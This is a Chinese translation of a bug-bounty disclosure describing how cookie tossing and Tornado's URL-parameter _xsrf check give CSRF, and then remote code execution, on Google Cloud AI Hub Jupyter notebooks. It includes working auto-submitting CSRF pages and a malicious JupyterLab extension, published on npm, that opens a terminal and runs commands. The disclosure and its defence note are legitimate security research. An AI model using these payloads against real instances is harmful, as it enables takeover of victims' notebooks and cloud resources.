本文为译文,原文地址为:https://blog.s1r1us.ninja/research/cookie-tossing-to-rce-on-google-cloud-jupyter-notebooks
Jupyter Lab介绍
JupyterLab 是一个基于 Web 的 Jupyter 笔记本、代码和数据的交互式开发环境。JupyterLab 非常灵活。使用它我们可以运行代码,也可以在 Web 界面中使用终端。最重要的是我们还可以编辑 Jupyter应用程序本身的代码。
我是如何发现漏洞的?
在我大三的时候,我对 AI 和 CTF 非常感兴趣,我在数据科学实习。大多数时候,我使用 Jupyter Notebooks 来训练模型。所以,我对它的工作原理有了基本的了解。
后来,我开始做漏洞赏金,我的目标是 Google Cloud AI HUB。
谷歌云 AI HUB
在 AI Hub 中,我们可以创建笔记本,当创建笔记本时,它会在后台创建一个 VM 实例,安装 Jupyter Notebook,并为笔记本实例分配随机域 (random-id.notebooks.googleusercontent.com) . 通过 Google SSO 登录笔记本实例。
self XSS
我知道笔记本中不可能直接出现 XSS ,但由于我们可以在我们的 VM 实例中访问 Jupyter 笔记本本身的代码库这个前提,所以我尝试:通过登录到 VM 实例并更改位于/opt/conda/share/jupyter/lab/static的文件来更改 Jupyter Notebook 的源代码,我们可以让受害者访问我们的笔记本实例并弹出一个警报。但这没有用,因为它是一个self XSS。
接着,我开始想办法让它产生影响。
我们有self XSS 时,另一个值得关注的目标是 cookie。我检查了 cookie 并且_xsrf cookie 引起了我的注意。CSRF 缓解是通过检查 _xsrf 中的 cookie 值和X-XSRFToken 标头值来完成的。如果这两个值相等,则允许该请求。
self XSS转为DOS
因为,我们可以在 notebooks.googleusercontent.com 上的域中设置 cookie xsrf=1 ,这使得来自受害者笔记本的每个下一个请求都会因为无效的xsrf令牌而被丢弃。我们可以更改 cookie 中的_xsrf令牌,如果我们可以更改 X-XSRFToken 标头,我们也可以在笔记本上实现 CSRF。但是,我们无法设置此标头,因为当我们在请求中设置 X-XSRFToken 标头时,浏览器会发出 XHR 预检请求。
发现了DOS漏洞,但是没有太大的作用,所以,我认为这是一个死胡同,后来开始审查 Jupyter Notebook 的源代码......
Tornado web服务器 来拯救 CSRF
我注意到 Jupyter 使用了 tornado 服务器
有一个有趣的点:在 tornado 服务器 来缓解CSRF攻击如下:
如果设置了 xsrf_cookies,Tornado Web 应用程序将为所有用户设置 _xsrf cookie,并拒绝所有不包含正确 _xsrf 值的 POST、PUT 和 DELETE 请求。如果打开此设置,则需要检测通过 POST 提交的所有表单以包含此字段。您可以使用所有模板中提供的特殊 UIModule xsrf_form_html() 来完成此操作
xsrf_form_html()的代码
def xsrf_form_html(self) -> str:
"""An HTML ``<input/>`` element to be included with all POST forms.
It defines the ``_xsrf`` input value, which we check on all POST
requests to prevent cross-site request forgery. If you have set
the ``xsrf_cookies`` application setting, you must include this
HTML within all of your HTML forms.
In a template, this method should be called with ``{% module
xsrf_form_html() %}``
See `check_xsrf_cookie()` above for more information.
"""
return (
'<input type="hidden" name="_xsrf" value="'
+ escape.xhtml_escape(self.xsrf_token)
+ '"/>'
)
所以,这意味着我们可以在请求 URL 中发送 CSRF 令牌,而不是 X-XSRFToken 标头。
这是一个不错的小功能,我们可以在请求中使用_xsrf标记而不是标头。
我们不需要担心下面显示的 cookie 优先级,因为基域上的 cookie 优先于子域上的 cookie。
CSRF 的 POC:
<html>
<form action="https://victim(randomId)-dot-us-west1.notebooks.googleusercontent.com/lab?authuser=1/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">
<input type="hidden" name="any post data" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
console.log('done');
document.forms[0].submit();
</script>
</html>
现在我们有了 CSRF,重要的任务是更好的利用它来扩大危害。
用于 RCE 的 Jupyter 实验室扩展
JupyterLab 扩展可以自定义或增强 JupyterLab 的任何部分。它们可以提供新的主题、文件查看器和编辑器,或用于笔记本中丰富输出的渲染器。扩展可以将项目添加到菜单或命令面板、键盘快捷键或设置系统中的设置。
我首先看的是扩展,因为它们允许我们在受害者实例中运行任意代码。
原来是使用 CSRF,我们可以在受害者笔记本实例中安装任意扩展。
现在的任务是创建一个恶意扩展,在受害者笔记本实例中提供 RCE。
我创建了这个扩展,它打开到终端端点的 WebSocket 连接并运行任意代码。(可以通过其他更简单的方式完成)
import {
JupyterFrontEnd, JupyterFrontEndPlugin
} from '@jupyterlab/application';
const extension: JupyterFrontEndPlugin<void> = {
id: 'test',
autoStart: true,
activate: (app: JupyterFrontEnd) => {
alert(document.cookie);
console.log("started !!!");
var xhttp = new XMLHttpRequest;
var termUri = location.origin + "/api/terminals";
xhttp.open("POST", termUri, true);
xhttp.withCredentials = true;
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
console.log("request successfull!!! ");
var resp = xhttp.responseText.split('"');
var terminal_id = resp[3];
var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id;
var ws = new WebSocket(wsUri);
ws.onopen = function(evt) {
ws.send('["stdin","touch pwned.txt\\r"]');
};
console.log("file created pwned.txt!!! ");
}
};
xhttp.send();
}
};
export default extension;
并将其推送到 npm https://www.npmjs.com/package/@mohansrk/test
最终POC
<html>
<form action="https://randomid-dot-australia-southeast1.notebooks.googleusercontent.com/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">
<input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"@mohansrk/test\",\"dummy\":\"\" value=\"dummy\"}" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
console.log('done');
document.forms[0].submit();
</script>
</html>
获得 RCE 后,我们就可以访问大部分 Google Cloud,因为 VM 实例默认具有编辑角色。
防御
所有的 Jupyter Notebooks 都容易受到这种攻击。要解决此问题,请添加具有适当验证的 Origin 标头。